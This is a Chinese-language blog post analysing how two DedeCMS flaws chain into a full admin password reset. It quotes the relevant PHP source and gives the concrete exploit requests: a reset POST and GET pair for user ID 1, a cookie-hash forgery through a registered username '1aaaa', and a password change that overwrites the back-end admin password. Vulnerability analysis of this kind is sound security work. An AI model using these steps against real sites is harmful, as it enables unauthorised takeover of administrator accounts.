DEDECMS 任意重置管理员密码
作者:admin | 时间:2018-5-19 13:26:03 | 分类:黑客技术 隐藏侧边栏展开侧边栏
很早之前发现的漏洞,整体都比较有趣,分享出来一下
漏洞危害
dedecms开启会员中心注册功能,即可完成管理员密码重置
漏洞成因
利用两个漏洞即可完成管理员重置:
dedecms前台用户任意密码重置
dedecms前台任意用户登录
第一个漏洞就是最近爆出的dedecms前台漏洞,单一危害挺有限,此处不做分析
大家可以参考下lemon的文章
上面文章能重置管理员密码是由于:
1、前台重置dede_member的admin密码
2、cookie绕过admin登录前台(默认是不能登录的)
3、通过前台功能修改dede_admin中的admin密码
lemon文章是利用老版本注入获取cookie加密key 直接伪造一个管理员的cookie
下面分析下如何完成前台任意用户登陆
判断用户登陆与否的isLogin函数
/** * 验证用户是否已经登录 * * @return bool */ function IsLogin() { if($this->M_ID > 0) return TRUE; else return FALSE; }
看下M_ID来自哪里
class MemberLogin { var $M_ID; var $M_LoginID; var $M_MbType; var $M_Money; var $M_Scores; var $M_UserName; var $M_Rank; var $M_Face; var $M_LoginTime; var $M_KeepTime; var $M_Spacesta; var $fields; var $isAdmin; var $M_UpTime; var $M_ExpTime; var $M_HasDay; var $M_JoinTime; var $M_Honor = ''; var $memberCache='memberlogin'; //php5构造函数 function __construct($kptime = -1, $cache=FALSE) { global $dsql; if($kptime==-1){ $this->M_KeepTime = 3600 * 24 * 7; }else{ $this->M_KeepTime = $kptime; } $formcache = FALSE; $this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
看下GetNum
/** * 获取整数值 * * @access public * @param string $fnum 处理的数值 * @return string */ function GetNum($fnum){ $fnum = preg_replace("/[^0-9\.]/", '', $fnum); return $fnum; }
剔除参数中的非数字型字符 后面需要用到
看下GetCookie函数
/** * 获取Cookie记录 * * @param $key 键名 * @return string */ if ( ! function_exists('GetCookie')) { function GetCookie($key) { global $cfg_cookie_encode; if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) ) { return ''; } else { if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16)) { return ''; } else { return $_COOKIE[$key]; } } } }
DedeUserID与DedeUserID__ckMd5 需满足如下关系
$_COOKIE[$key.'__ckMd5'] == substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16)
admin对应的DedeUserID应为1
如何找出对应的DedeUserID__ckMd5才是关键
对该程序其他使用了PutCookie的地方进行查找,找寻可以伪造出1 的cookie密文
/member/index.php
/*----------------------------- //会员空间主页 function space_index(){ } ------------------------------*/ else { require_once(DEDEMEMBER.'/inc/config_space.php'); if($action == '') { include_once(DEDEINC."/channelunit.func.php"); $dpl = new DedeTemplate(); $tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm"; //更新最近访客记录及站点统计记录 $vtime = time(); $last_vtime = GetCookie('last_vtime'); $last_vid = GetCookie('last_vid'); if(empty($last_vtime)) { $last_vtime = 0; } if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.',') ) { if($last_vid!='') { $last_vids = explode(',',$last_vid); $i = 0; $last_vid = $uid; foreach($last_vids as $lsid) { if($i>10) { break; } else if($lsid != $uid) { $i++; $last_vid .= ','.$last_vid; } } } else { $last_vid = $uid; } PutCookie('last_vtime', $vtime, 3600*24, '/'); PutCookie('last_vid', $last_vid, 3600*24, '/');
cookie中last_vid为空下
$last_vid = $uid;
然后PutCookie('last_vid', $last_vid, 3600*24, '/');
只要能构造$uid的值即能获取想要的cookie 1对应的密文
利用方法
1.前台管理员密码重置
member/resetpassword.php
post:dopost=safequestion&gourl=&id=1&safequestion=0.0
/member/resetpassword.php?dopost=getpasswd&id=1&;key=w0AKS9eI
两步重置前台管理员密码
2.前台管理员登陆
由于dede用户注册有字符长度限制 而uid即为注册的用户名 再利用Getnum函数的剔除非数字型字符的功能 于是注册1aaaa用户
dede默认安装注册需要邮箱验证 后台人工更改为无需验证
前台访问member/index.php?uid=1aaaa
1aaaa对应的ckMD5为73c6ca2cadef68f9
3.前台用户密码修改
前台密码修改连带修改后台密码
$query1 = "UPDATE `#@__member` SET pwd='$pwd',sex='$sex'{$addupquery} where mid='".$cfg_ml->M_ID."' "; $dsql->ExecuteNoneQuery($query1); //如果是管理员,修改其后台密码 if($cfg_ml->fields['matt']==10 && $pwd2!="") { $query2 = "UPDATE `#@__admin` SET pwd='$pwd2' where id='".$cfg_ml->M_ID."' "; $dsql->ExecuteNoneQuery($query2); }
重置密码之后即可用重置后的密码登陆dede后台